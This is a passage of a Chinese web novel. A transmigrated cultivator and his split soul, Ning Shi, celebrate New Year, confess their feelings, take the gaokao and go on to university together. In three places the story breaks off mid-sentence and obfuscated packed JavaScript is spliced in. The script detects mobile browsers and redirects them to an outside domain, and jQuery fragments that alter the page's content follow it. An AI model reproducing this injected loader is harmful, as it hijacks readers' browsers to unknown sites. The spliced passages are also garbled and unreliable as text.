噼里啪啦的烟花声中,两个人必须离得很近,才能听到对方说话的声音。 随着宁时嘴唇的一张一合,江晏感到耳边有微弱的气流涌动。 暖暖的,伴随着宁时少年人的声音: “玩游戏吗?” 江晏心想,果然还是自己最懂自己。 还没说话呢,宁时就知道他想干什么。 江晏便开口:“好啊,听你的。” 宁时似乎又笑了一下:“真心话大冒险?” 江晏:“大冒险?” 宁时:“……没玩过吧,那我给你讲讲规则。” 只有他们两个人玩,规则自然简单了很多。 无非是石头剪刀布,赢的人问输的人是选真心话还是大冒险。 输的人选真心话的话,就依据赢的人的问题来回答,必须是真话。 要是不想说也可以,要接受惩罚——吃一小块芥末酱。 江晏意识到,宁时前几天买那瓶芥末酱时,估计已经想好了今天的安排。 江晏看着宁时拿出那早已准备好的绿油油的一坨酱,听着他继续讲游戏规则。 如果输的人选了大冒险,那就是赢的人让输的人做一件事,输的人想拒绝的话 江晏听了,第一个反应是问宁时:“可是怎么知道对方有没有说真话呢?” “要是他所谓的真话也是编的呢?” 宁时眼神动了动:“你说得没错,确实没办法知道对方说的话的真假。” “说假话的人,自然也失去了玩游戏的乐趣。” 江晏插嘴:“可是要是有实在没法回答的问题……” 宁时打断了他,语气缓缓而坚定:“我们玩这个不会有的。” 江晏:“……不是,你这么自信是搞哪样啊。” 宁时笑他:“果然,你一看就是没有玩过的。” 一边又给他解释:“这个游戏呢,很多人是带着答案问问题。” “当然,他们心里的答案,可能是对的,也可能是错的。” 江晏从宁时的话里嗅到了一丝不同寻常的意味。 他感觉这个游戏怪怪的。 江晏对这个世界的语言学习,还没有学会“暧昧”这个词,他马上就要吃没文化的亏了。 但既然是宁时提出来的游戏,江晏决定还是答应。 宁时便伸出手来,一面小声念叨着数数。 江晏跟着他的话,两人同时松开手—— 两个人都是布。 于是又重复了一遍,第二次,两个人都是剪刀。 江晏突然意识到一件事。 分魂和他自己的思维模式是一样的,所以……这个石头剪刀布的游戏到底什么时候能分出胜负啊喂! 也许是不知名的世界意志感受到了江晏的吐槽,他和宁时宛如复制黏贴一般的动作经历了六七轮之后,终于不再像照镜子一样了。 这次是宁时赢了。 江晏莫名松了口气。 他没有玩过这个游戏,正好宁时能给他演示一下。 宁时问他是选真心话还是大冒险。 开玩笑,江晏现在多少有点怕了宁时的心思——当然是选真心话了。 宁时听了江晏的选择,不置可否地点了点头。 江晏看着他,又想起所说的“不许撒谎”,不由得又有些紧张。 他不想破坏难得的游戏体验,可如果宁时真的问了难以回答的问题…… 江晏还没有琢磨好,宁时便开口问了:“今天我做的饭好吃吗?” 一边说着,还伸手指了指面前的几道菜。 江晏愣住了,疑心自己听错了:“哈?” 于是宁时很有耐心地重复了一遍。 江晏:“……你就问这个啊。” 宁时:“这只是我的第一个问题。” 江晏“哦”了一声。 宁时摊手:“就当熟悉游戏规则了。” 江晏放下心来,他面对着宁时,无比真诚:“超级好吃啊啊啊——” 这话不假,宁时的手艺,比江晏在进入合江宗之前所居住的小镇里面最大的酒楼还要好。 至于为什么不拿合江宗的伙食来比,是因为……不怎 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江晏看着宁时的目光跃跃欲试:“你要选什么?” 宁时和他对视了几秒:“大冒险吧。” 江晏:…… 刚才他没有选择过大冒险,也不知道做什么要求合适。 江晏的目光漫无目的地在屋子里转了一圈,最后落在了宁时刚刚推过来的那盘饺子上。 “你吃个饺子。”江晏说。 宁时:…… 他不理解江晏的命令,但尊重。 于是他夹起来一个饺子,吃掉。 江晏看着他的动作,放心了——大冒险看来是什么命令都可以的,没有想象中的那么过激。 只是,宁时怎么嚼着嚼着,停下来了呢? 江晏只见宁时动作顿了两三秒,随后抽了张纸掩在嘴边,似乎吐了什么东西出来。 宁时看到江晏在看自己,用手中的纸巾擦了擦那吐出来的动作,道:“硬币。” “我吃到另一枚带着硬币的饺子了。” 江晏一愣,下意识地回头看向自己之前吐出来的那枚硬币。 宁时顺着他的视线,把两枚硬币并排摆在一起。 它们在灯火下熠熠生辉。 江晏:“你一枚,我一枚,都吃到了,真好。” 宁时“嗯”了一声,起身洗了洗硬币,又坐回来。 道:“要不是你让我吃个饺子,我还吃不到呢。” 江晏毫不客气:“对,这可是我给你的祝福哈。” 宁时顺着他的话头:“是呀,我可要好好谢谢晏晏呢。” 江晏:…… 现在摆在他面前的有两个选择。 一是在这个阖家团圆欢声笑语的时刻,告诉宁时不要喊自己“晏晏”了。 江晏用脚后跟想想都知道真这样做的话宁时是什么表情。 ……那只能选择方案二了。 ——假装没有听到,不去纠正宁时的说法。 江晏窝窝囊囊地选择了第二种。 他甚至有点自暴自弃了: 宁时也不是第一次叫他“晏晏”了,晏晏就晏晏吧。 32. 跨年 钟表的分针缓缓转过了半圈,江晏和宁时已经玩了几轮真心话大冒险。 江晏算是发现了,宁时这小子是看起来有分寸,但实际上是得寸进尺。 话里话外间不停地试探,仗着今天日子特殊,江晏不想把他怎么样,问的问题越来越深了。 从一开始的“饭好不好吃”,到“你打算去哪个城市上学”。 从“你以后想买多大的房子”,到“你有没有喜欢的人”。 这些问题还算好回答。 江晏的回答是: 好吃。 考到哪里算哪里(实际上是江晏对这个世界还不熟悉)。 比现在住的的房子大(宁时一边说这是废话一边露出了谜之幸福的微笑)。 有(宁时的眼睛瞬间亮起来并追问)。 江晏有意吊着他,道:“一局不是一个问题吗?” 宁时:“……” 江晏继续:“你已经问了一个问题了。” 宁时笑着摇摇头,示意江晏继续下一轮游戏。 结果在三次平局之后,又是宁时赢了。 果然不出江晏所料,宁时继续了上次的问题。 “所以你到底喜欢谁呢?” 江晏眯了眯眼,开口: “你……” 宁时看起来有点没反应过来,呆愣愣的,接着有笑意渐渐浮上眼底。 江晏看着他的表情,故意来个一个大喘气:“还有呢。” 他在宁时呆滞的表情中继续说下去:“还有楼下摊煎饼果子的阿姨,开羊肉馆的老板,还有周莉……” 宁时嘴角疯狂抽搐。 江晏眼神透着狡黠,他正准备继续说下去,却觉得眼前一黑。 ——宁时突然探过身子,完完全全挡在了他面前。 江晏:? 他本能地察觉到了两人这个姿势的不对劲。 宁时这样多少有点压迫感了,他需要微微仰头,才能和宁时的视线对上。 可宁时的眼神却充满了无奈,和他现在的姿势并不相同。 他用好听的声音低低对江晏说:“拜托你闭嘴吧。” 确实没有压迫感,甚至有些卑微了。 江晏便瞬间笑出了声。 江晏感觉自己多少有点蹬鼻子上脸的天赋,宁时刚凑过来时,他还是害怕的;可宁时那句无奈的话一出口,江晏反而更想调侃他了。 江晏笑嘻嘻道:“为什么让我闭嘴?” 他看着不说话的宁时:“是因为我没有说到你喜欢听的东西吗?” 接着又露出一个张扬的笑:“唔……让我猜猜看,你想听到什么呢?” 宁时看他这副样子,也有的哭笑不得了,反问道:“你说呢?” 江晏装傻:“啊哈?” 宁时拍了拍他的肩膀:“别装傻了,啊。” 江晏嘴硬:“我没有,你不说我怎么能知道你想听什么好听话。” 接着,他肩膀上的那只手移到了脸上。 江晏的脸被宁时捏着,面前,宁时的面孔在逐渐放大。 江晏这次是有些慌了:“欸——你在干什么——” 宁时用额头抵上了他的额头。 这样一来,他们几乎是脸贴着脸,就连鼻尖也蹭到了一起。 呼吸间都是对方温暖的吐息。 这个姿势下,江晏的心绷了起来,自然也没有发觉宁时把捏在他脸上的手换成了捧的动作。 宁时说话了,随着他的吐息,江晏感觉自己的鼻尖一热一凉的:“非要装傻吗,非要我这个样子吗?” “我想听你说喜欢我。” 江晏试图挣扎抗议:“——我第一句话就说了!” 宁时的声音带了一丝咬牙切齿:“我说的喜欢不是那个喜欢。” “是想和你以后一直一直生活在一起,共度余生的那种喜欢。” 江晏有一瞬间晃神。 他突然想到了合江宗的簌簌落叶,自己身后的攻玉剑,那滚滚而下的劫雷。 还有那几个意味不明的梦。 江晏张了张嘴,轻声说:“……我们本来就应该永远在一起的。” 这时,屋里的钟表分针又转过了另一个半圈,与时针重合,停留在了“12”的位置。 玻璃窗外,五色虹光划破夜色,天亮了。 与之而来的是震得窗子微微颤动的连绵炮声。 也湮没了江晏后半句话: “除了死亡,没有什么能把我们分开的东西了。” “我为你来到这个世界。” 隆隆烟火声中,宁时渐渐松开了江晏,改成拉着江晏的手。 刚刚经历了被摸脸的江晏:…… 拉手就拉手吧。 至少不会摸脸了。 宁时的脸色归于平静,好像刚在拉着江晏发疯的是另一个人。 他平静的神色中依然有几分失落,显然没有听见江晏刚才小声说的话。 江晏放心了——剑修习惯了高高在上要面子。 要他主动对人说出真心话,简直比飞升还难。 所以,宁时没有听见就没有听见吧,正好。 江晏刚刚把内心的话说出来了,现在反而不知道说什么了。 此时,宁时开口:“快十二点了。” 江晏:“哈?” 他惊讶于宁时好像什么都没有发生的态度。 宁时装模作样地指了下手机:“还有半分钟。” 江晏“哦”了一声:“怪不得突然这么多放炮的。” 宁时点点头:“可以开始许愿了。” 这是江晏从来没有听说过的说法:“新年也能许愿吗?” 宁时明显被噎了一下,再开口时,声音也犹疑了:“……能吧。” 不管能不能,他们这一耽误,十秒钟就出去了。 江晏不欲在此事上多纠缠,便用另一只没有被拉着的手推了把宁时:“算了,赶紧想愿望,没几秒了。” 宁时用手指碰了碰他的手指:“我已经想好了。” 江晏:“嗯,我得想想。” 江晏想,要许什么愿望呢? 让宁时度过美好的一生? 让自己早点结束这个世界? 还是解决分魂的事,在原世界一举突破? …… 太多了。 更何况他本来就是这个世界的过客,这个世界会回应一个外来者的心愿吗? 面前,手机放映的节目中,最后十秒的倒计时已经走了一半。 江晏闭上了眼。 还是许一个愿望吧,有便宜不占白不占。 万一愿望实现了呢? 在旧年的最后三秒钟里,江晏再次睁开了眼。 他看着天空中绽开的巨大重瓣菊花,心想: 希望我能好好活着。 江晏对自己这个看似朴实的愿望非常满意。 好好活着,意味着他能顺利搞定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902343|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和宁时有关的各个小世界。 意味着他能顺利回到原世界。 还意味着他在那几道把他劈散了的劫雷下顺利突破。 新年的钟声敲响。 屏幕内和窗外的热闹上升了一个度。 宁时在他面前似乎说了什么,但江晏只能看到他嘴唇动了动。 声音什么的,全都听不清。 但江晏根据猜测,和宁时的唇形,看懂了。 那是一句“新年快乐”。 江晏便主动向宁时的方向挪了挪。 这样一来,他们拉着手,肩挨着肩。 江晏在宁时耳边大声说:“新年快乐!” 宁时看着他的脸,笑了。 又把另一只手伸过来,拨了拨江晏额前有些乱了的碎发。 离得近了,这次江晏能听清楚宁时说的话: “新年的每一天都要快乐。” 对于高三学生而言,熬夜到十二点并不是什么困难的事。 两个人没什么困意。 桌上的饭菜吃得差不多了,江晏跟着宁时收拾着。 在鞭炮声的间隙里,能听见厨房传来哗哗的水声。 江晏和宁时围在洗手台,洗着碗。 啾啾给江晏安排的房子确实旧了,安的热水器是老式的。 一个电箱挂在墙上,时不时发出嗡楞嗡楞的声音,那是在烧水。 由于机器限制,能加热的水有限,因此,两人感受到的水温也是忽冷忽热的。 一会儿是把毛细血管都涨开的温度,一会儿又冻得手疼。 一冷一热,江晏在手的胀痒中,呲牙咧嘴地捞起饺子盘。 又被宁时接了过去:“给我吧,一看你就不会干活。” 江晏礼节性地往回拽了拽盘子,最后任由宁时拿走了,嘴上却说:“我怎么不会干活了。” 宁时笑了笑,没有回答。 江晏便低下头,看着宁时的手在流水中有些泛红。 他知道宁时是找了个借口,把洗盘子的活承担下来了。 水声哗哗。 过了十二点,外面明显没有之前那么热闹了,在室外跨年的人也陆续回了家。 残雪上薄薄积了一层红色的炮纸,被路灯映成了橘红色。 江晏和宁时收拾好了他们的小窝。 此时已经是零点四十了。 江晏:“睡吗?” 宁时想了想:“……都行。” 江晏想到了什么:“你初一不是要回家嘛,要早起,早点睡吧。” 宁时慢吞吞道:“其实明天晚上去一下也是去了。” 江晏推了他一把:“不行,你上午去吧。” 又补充道:“都是大年去拜年,好好表现一下哈。” 宁时点了点头。 他们在新的一年里入睡。 第二天,江晏一觉睡到了自然醒。 他下意识去扒拉宁时,却发现身边已经空了。 江晏心里说不出是什么滋味,向啾啾控诉:“……这孩子怎么不打招呼就走了。” 啾啾无语:“首先,你这个语气真的很像怨妇。” 接着抢在江晏骂它之前,气也不换:“而且,现在已经上午十点了,不早了。” 房门口似乎传来了其他声音。 江晏和啾啾一同看过去。 啾啾看着那道人影,发出了最后一点吐槽: “呃,最后,人家根本还没有出发呢。” 33. 春夏 江晏没有理会啾啾。 他看着门口,门口那道人影,是宁时穿着一件高领毛衣,端着盘子站着。 这件毛衣江晏没有见他穿过,是浅浅的灰色,在宁时身上很合适。 显得他肩宽腰细,甚至有几分成年人的样子了。 至于为什么不完全像成年男性,大概因为宁时下面穿了一条牛仔裤,一条在小腿裤脚处有一个火柴盒小人的牛仔裤。 他这么混搭,看起来却很不错的样子。 江晏在心里品评了一番,认为宁时的脸和身材起了大作用。 他打量宁时的时候,从床上坐了起来。宁时见他醒了,便端着盘子走了过来。 宁时靠到床边时,江晏看到了盘子里是几个煎饺。 锅巴金黄,嗞嗞冒油。 宁时举着盘子对他晃了晃:“下来吃。” 江晏应了。 他一边吃着,一边问宁时:“你还没去你爸妈那儿?” 宁时扶额:“这不准备出发呢。” 江晏摸了摸他的袖口:“穿着新衣服去?” 宁时:“嗯,之前给我买的。” 想了想,又说:“看起来……对我还不错。” 江晏咽下一个饺子:“乖,他们现在对你好了,你也表现得好点哈。” 宁时歪着头,神色有点疑惑。 江晏扯出张纸巾擦了擦手,心想少年人就是年轻气盛,一面解释: “你学籍还在宁家呢,再说,以后读书不花钱吗?” “虽然他们接你回来一开始过得不好,但现在态度确实变了。” “你不理他们,旁人看了反而觉得你过分了。” 宁时闷闷地“哦”了一声。 江晏感觉小狗尾巴耷拉下去了。 他最终还是拍了拍宁时的后背:“也不是说让你一直忍着哈。” “他们莫名发神经的时候不惯着。” 宁时点点头。 宁时早上在厨房一共煎了十个饺子。 看着江晏把它们都吃掉了,宁时也就知道,自己该出门了。 他最终转身走出江晏的家。 …… 自从两人这一分别以后,江晏足足有十天没有见到宁时了。 不同于宁时转学后,两人可以经常互相探望,这次却是直接见不到人了。 江晏有点不习惯,又有点担心。 但好在宁时会天天汇报,或者吐槽。 于是江晏得知了宁时近日的精彩生活。 比如宁陟岳带着宁时回老家了。 比如带着他去拜访好朋友了。 比如宁瑜又被气哭了。 …… 如此种种,宁时的待遇比江晏刚来这个世界时所见的好了很多。 快到元宵节的时候,他们又见了几面。 再往后,就是开学,一模。 行道树的枝丫,从灰变黄再变绿。 江晏会骑着自行车,在实验中学和S中的道路间穿梭。 春天的风吹过,树上结的米粒大小绿色槐花会携风簌簌落下,又落在骑车路过的江晏身上。 落在他的衣袖上。 这是阳历四月的城市。 此时,距离宁时高考还有六十多天。 江晏和啾啾分析过此阶段宁时的状态,都感觉宁时能取得不错的成绩。 江晏还问过宁时:“你想去哪个大学?” 宁时笑了:“没想过。” 也没有想过的江晏:…… 江晏坚持追问:“那城市呢?” 宁时:“都行吧。” 江晏抓了把头发:“居然没有想过这些。” 宁时摊手:“这些事又说不准欸。” “我也不知道未来会怎么样,具体去哪里还要看最后考多少分吧。” “就像拆盲盒。” 江晏长长“哦”了一声。 后面,他转头又给啾啾说: “我感觉这个世界结束会很慢了。” “宁时现在都还没有一个具体的目标。” “没有目标,我怎么能完成‘让分魂获得内心的满足’这个任务啊——” 啾啾冷静提示:“也许等他考完就自动任务完成了呢。” 江晏点点头。 他把车停在路边的树荫下,看着来来往往的行人。 啾啾也和他一起看着。 偶尔也有路人会回头注视一会儿这个穿着校服的高中生。 片刻后,啾啾听到江晏说:“不对。” 啾啾有点懵:“什么不对?怎么不对了?” 江晏看着虚空中的某一点:“你关于‘高考完上大学任务自动完成’的说法。” 啾啾:“这怎么不对了?他现在不就最希望考完试还能上个好学校吗?” 江晏语气有点飘渺:“你看,你也说了,是‘现在’。” 啾啾还没有反应过来:“那他现在的愿望不是这个还能是什么?别忘了这可是你自己说过的原话。” 江晏没有着急,也没有辩解,语气依然是飘忽的:“你理解错了……重点不是这个,我是想说,让分魂获得内心满足的瞬间结束脱离这个世界,是假的。” 啾啾愣了,继而有点生气:“你别瞎说!我虽然从来没有做过这个业务,但我不可能骗人。” 江晏喃喃道:“那就是你身上所谓的程序错了。” 他耐心给啾啾解释:“我从前在大选的时候,想着只要能进合江宗就行。” “这就是我当时最大,最强烈的愿望了” “后来进了宗门,我的愿望就不止是这个了。” “我想变得更强,我想在那一批新进门的弟子中被看到。” “那时候我认识了白一苇,用这个世界的话讲,我们那时间就开始卷了。” “我真的被师傅看到了,后面,成为了一名内门弟子……” 啾啾打断了江晏:“嗯,你回忆的这些都不是现在最要紧的事,我大概明白你想说什么了。” 江晏没有被打断而生气,他点了点头。 啾啾从江晏意识海中浮出来,用虚影在江晏胳膊上蹦蹦跳跳。 啾啾只要一从意识海中出来,就意味着它有很多话,或者是很重要的话说了。 江晏干脆把自行车推到路边,放下蹬子,人斜坐在上面。 他看着啾啾,在旁人看来,这个中学生只是在车上发呆。 头顶有细微的春风穿过树冠。 啾啾在江晏袖子上来回走着,中间时不时蹦一下,避开落在他身上的槐花:“呃……你说的这个情况,我确实没有考虑过。” “也因为我第一次遇到你这种情况吧,神器不是万能的。” 江晏拂去袖子褶皱间的落花:“嗯。” 啾啾又说:“我感觉你说的情况,很可能要发生了。” “这样的话,你只能等到宁时这个身体死亡之后,才算完成任务,才能离开这个世界。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902344|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “时间会很长很长。” “但这也是没办法的事,”啾啾还记得江晏对在世界间穿梭的抗拒,它试图安慰:“总之,最终的目的还是为了回去。” “可能时间久一点,过程曲折一些,但总会回去的。” 许久没有得到江晏的回应,啾啾看着一脸神游的江晏,忍不住“叽叽”了几声。 在神器呼唤下回神的江晏:…… 啾啾不满:“你到底在想什么?还有比你稳固神魂更重要的事?” 江晏慢吞吞道:“嗯……在这么多小世界里待很久的话,我会不会忘记自己的身份。” 啾啾:“不会的,你当成旅游就行了。” 江晏按了下额角:“人生如逆旅吗?” “我当成游戏,很难对这个世界有感情,也自然很难走进分魂的世界。” 江晏顿了顿,又道:“我还是多投入些感情吧。害,什么身份混不混乱的。” “这个世界的我难道就不是我了吗?” “是我的经历,我对这个世界的感情才让我成为了我,而不是我合江宗峰主的身份。” 啾啾:…… 灰灰花花的小鸟憋了半天,憋出来一句:“你比我想象中要看得开很多。” 江晏:“不然还能怎么样呢。” “回也回不去,就先在这些世界好好生活吧。” 江晏骑上了车子,沿着这条树影摇曳的柏油马路回家了。 将落叶与春花抛在身后。 春雨绵绵,夏雷滚滚。 骤雨连接天地,把柏油路浸得发黑。 来不及流进地下的雨水在道路两侧稍低的地方汇成了小河,潺潺流着。 江晏和宁时经过时,这些小河上面浮着的槐花,会粘到他们的鞋上。 又被新的一轮雨水冲刷掉。 就像旧的日子被新的日子覆盖,消失得无影无踪。 这样平静而快速流淌的日子里,江晏有时候真的会产生一种错觉。 他好像从来只是这个世界的一个平凡的人。 但啾啾的叽叽喳喳总能提醒他——这是他寻找分魂,准备回到原世界所经历的第一个世界。 江晏和宁时还能经常见面。 他们会一起坐在树下,啃着冰镇蜜枣馅的粽子。 宁时手腕上带着江晏送给他的五彩绳,细细的一条。 绳子上面有个写着“平安”的塑料吊坠,轻飘飘的没什么重量,随着宁时手上的动作晃晃悠悠。 一场倾盆大雨后,路边的小水坑里出现了不同的五彩绳。 此时,也终于到了高考的时候。 江晏和宁时没有分到同一个学校的考场。 在考前前一天,他们像往常一样上了半天的课。 下午被留下来布置考场,用巨大的白纸盖住教室里悬挂的标语。 然后他们在路边碰面。 江晏看着宁时,又看了看跟着宁时停在路边的轿车:“你回家?” 宁时穿着S中的夏季校服,单件背着轻飘飘的书包,“嗯”了一声。 江晏再次看了眼那辆车,驾驶位和后座上隐约有人影。 江晏知道宁时当着别人有点不好意思多说什么,于是他拍了拍宁时:“加油。” 宁时伸出胳膊,很快抱了一下江晏:“你也加油啊。” “考完了找你玩。” 江晏看着宁时回到那辆车上,黑色的车漆反射着六月的阳光,又汇入车流中。 34. 尾声 对于高考这件事,江晏的新奇感远远大于紧张。 ——他又不是这个世界的人。 但他懂得如何表现得合群。 在第一天考试上午,江晏和同学们从周莉手中取走自己的准考证。 照片上的少年眼睛有点圆,是他在这个世界的面孔。 江晏几乎忘了这是什么时候拍的了。 在他走进考场上楼梯时,才想起来,那是某个冬日,学校组织大家拍的。 于是成为了他在这个世界上留下的痕迹之一。 啾啾能检测到江晏的情绪波动:“你的情绪也太平静了吧——多少重视一点啊喂!” 江晏:“……行吧。” 他坐在椅子上,看着监考老师拆开试卷袋,一张张发卷子的模样,和从前所经历的模拟考试并无不同。 钟表的指针跳过一格又一格。 在一次长铃声响起后,江晏拿起笔,和千千万万的学生一样,在答题卡上写下自己的名字。 …… 他们考试的时间不过两天,很快就结束了。 在结束的那个下午,江晏伴着拥挤的人群走出校门,一边把关机的手机打开。 在看到手机显示的日期的一刻,他突然意识到,自己来到这个世界已经快一年了。 这是江晏最初估计在这个世界停留最久的时间。 可现实总与想象不同。 现在的江晏看看天,天气晴好,没有什么空间波动的迹象。 显然他暂时还不能脱离这个世界。 江晏对此隐约产生了种满意的情绪。 他沿着马路走着,随着信号屏蔽的撤去,他的手机嗡嗡响着。 江晏停了下来,耐心地等待着这个旧手机叮叮咣咣的信息条。 然后从任务栏一条条把它们清除。 系统消息、软件通知…… 江晏划拉了很久,底部的微信消息才弹了上来。 有好几条。 一条外卖券过期提示。 一条辅导机构的群发信息。 一条宁时的信息。 江晏点进去,发现是十分钟之前的: 你就待在实验中学附近哈,等等我。 江晏捧着刚刚开机恢复使用功能的手机:…… 宁时的手速还挺快。 前方传来一阵刹车声,伴着一声清脆的车铃,江晏抬起头来。 宁时单手把着车子,用另一只手对他挥了挥。 江晏一时分不清六月的阳光和宁时的笑哪个更耀眼。 江晏再次往宁时身后看了看,没有车跟着。 看来宁时现在是一只自由的小鸟。 江晏走上前:“感觉怎么样?” 宁时:“嘿嘿,正常发挥吧,你呢。” 江晏点点头:“也正常吧。” 一边扫了辆自行车:“我们去哪里?” 宁时尾音上扬:“你问我?当然是去我们晏晏家啦。” 江晏无奈:“家里不好玩,我还以为去外面呢。” 宁时:“……嗯,可以对答案估分?” 江晏用肩膀撞了他一下:“都考完了就不要这么卷了。” 宁时:“哈哈,其实是想补觉。” 江晏:…… 嗯,这是一个非常现实的愿望。 于是他们沿着树荫,在夏天的风里回到了家。 书桌上还摊着没有做完的练习册。 两人简单把自己收拾了一番后,并排躺在了床上。 江晏听着宁时的呼吸,知道他还没有睡着:“你不是说要补觉吗?” 宁时很快回应:“现在还睡不着。” 江晏:“嗯,还没到晚上呢。” 宁时“唔”了一声,又说:“你想去哪里?” 江晏心说这不得看你了吗。 但这是万万不能让宁时知道的,于是他说:“先估分吧。” 宁时动了动,面对着江晏:“说得也是。” “你想去哪里玩吗?” 江晏:“都行,看你吧。” 在原来的世界,江晏确实去过很多地方了,这个世界,他打算跟着宁时走。 然后他就听见宁时说:“……那个,我可能不打算出去玩了。” 江晏:? 怎么不按套路出牌呢。 宁时还在说着:“我打算找个暑假工干干,攒点钱。” 江晏:“宁家不管你?” 宁时:“管也是管,但是吧,我和宁瑜不一样,我总得给自己留点后路是不是?” 江晏扶额:“你这么想也行吧……但也不要太拼了……” 他指了指屋顶:“我们一出去上学,就把这个屋子租出去。” 宁时:“……这是你的房子。” 江晏爽朗道:“你跟我谁是谁啊,我的就是你的!” 宁时一瞬变成星星眼,拉住江晏的手:“江哥!” 江晏满足了:“欸!” 啾啾没眼看了:“嘶——” 他们漫无边际地聊着,在夜晚中睡去。 在高考结束的第一天,两人回学校去拍毕业合照,一边联系好了暑假工的事。 宁家终于意识到很难管住宁时了,只能尊重宁时的选择。 在街边烧烤摊上,宁时坐在江晏身边,一手举着羊肉串,一边兴致勃勃地讲着: “哈哈你是没看到我爸那个脸色。” “非让我回去。我回去有什么好的?被宁瑜欺负吗?” “然后他嫌我翅膀硬了。” “我直接把他们给我的钱转了回去,他好像更生气了。” “我等着他骂我,可等了半天,他一个字也没说出来。” “然后我就走了,来找你玩了。” 江晏吃下一口烤茄子,对宁时比了个大拇指。 在高考结束的第二天,江晏和宁时估了分。 两人心里凉了半截。 江晏:“……要不看看二本吧。” 宁时:“算了,我感觉你给自己扣分蛮狠的。” “等分数出来再说。” 于是两人从快乐地玩耍变成焦虑地玩耍。 高考结束十天后,出分了。 同时新鲜出炉的还有排名和分数线。 两人都超了一本线几十分。 最后他们第一志愿报了同一所城市的大学。 江晏选择了一所普通医学校的本硕连读,宁时选择了计算机。 两人围在一起,在手机上查了这座城市,也查了这两所学校的距离。 那是一座南方的城市,以美食和安逸著称。 高考结束一个月后,江晏和宁时找到暑假工发了工资。 他们有了买车票和生活用品的钱。 又过了几天,他们收到了电子录取通知。 是第一志愿的录取结果。 在未来四年里,他们将会呼吸同一所城市的空气。 高考结束四十天后,在一个下午,靠在床头的宁时接到了一个陌生的同城号码。 是一个男声,听起来在室外:“是宁同学吗?” 宁时和江晏都升起了一种奇妙的预感,宁时清了清嗓子:“是的。” 电话那边的声音微微高了:“你的录取通知书到了,是下来拿一下,还是放快递柜里呢?” 躺着的江晏听见了话筒里这句话,整个人弹了起来。 宁时也猛地坐直了:“等我一下,我下去拿,谢谢。” 在两人把睡衣换成外套的功夫,江晏也接到了来着同一个快递员的电话——也是同样的事情。 他们蹭蹭跑下楼,扬起的薄灰在楼梯间的阳光里缓缓旋转、飞舞。 快递员笑着,给了他们一人一个信封。 沉甸甸的,让两人对录取结果有了实感。 他们又蹭蹭跑上楼,回到家,打开信封。 录取通知书,新生入学手册,校规校纪,还有一张学校准备好的银行卡。 这些是一封来自未来的车票,载着他们驶向新的人生。 江晏时刻惦记着自己来到这个世界的目的,他看着宁时这副喜极的样子,对啾啾说:“所以你检测到分魂的愿望实现了吗?” 理论上来讲,“考上好大学”这个目标确实是实现了的。 但世界依旧稳定,江晏没有感到丝毫能影响自己的更高纬度的力量。 果然,啾啾说:“呃……和你之前的猜测一样,这个世界没什么变化。” 江晏点头:“所以分魂的心愿还没有得到满足是吗?” 啾啾:“还真让你猜对了。” “宁时从前的心愿满足了,可他进入人生新阶段,又产生了新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902345|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的愿望。” “我估计你真的要一直陪他到死亡了。” 江晏偷偷瞄了眼宁时,少年的头发乌黑,皮肤光泽:“别说得这么难听。” “穿过死亡,我会带着他回家的。” “呃,或者说我会回去的。” 啾啾:“好吧,但我现在要提醒你,宁时看起来要搞事情了。” 江晏能猜到它口中的“搞事情”是什么,打了个哈哈:“咳咳,不说这个。” 啾啾被气得回到了他脑海里,不出来了。 江晏和宁时度过了忙碌而幸福的三个月,还攒了一点钱。 在这三个月里,也有小插曲。 比如宁陟岳跑到了江晏家门口,要把宁时带回去。 那天江晏一推门就看到个脸生的成年男性在门口散发着强烈压迫感,剑修的本能差点让他抓起旁边的扫把打过去。 但还好宁陟岳说话了,让江晏认出了他。 几秒后,听到门口有动静的宁时晃过来,和宁陟岳来了个大眼对小眼。 江晏:…… 宁时带着宁陟岳出去谈了。 江晏不知道他怎么谈的,反正自此之后,宁家骚扰他们的次数明显减少了。 于是他们就拿着行李和录取通知书,快快乐乐地去C城的大学报到了。 他们未来要生活的这个城市的山山水水,和从前看惯的风景大不相同。 但身边的人还是相同的。 宁时确实是一个聪明的孩子,他在大二时,已经能接到帮忙写程序的兼职了。 有他的对比,江晏开始感到有压力了——毕竟他是一个至少要上八年学的医学生。 可赚外快的途径也有限。 江晏看着宁时每个月的进账,眼都红了,对啾啾说:“我当时怎么没选这个呢,你也不说说我。” 啾啾冷哼:“哈,我可忘记了当时说想看看人体构造好继续修炼的人是谁。” 江晏:…… 自己选的路还能怎么办呢。 从前是宁时住在他家里,现在变成宁时时不时用兼职的钱请他吃饭了。 江晏嚼着一块糯米小排骨,心说,不愧是我的分魂,潜力股。 在江晏大五时,刚刚毕业的宁时和同学们成立了技术公司。 借着应届生的身份和一些优惠政策,他们在C城开始扎根。 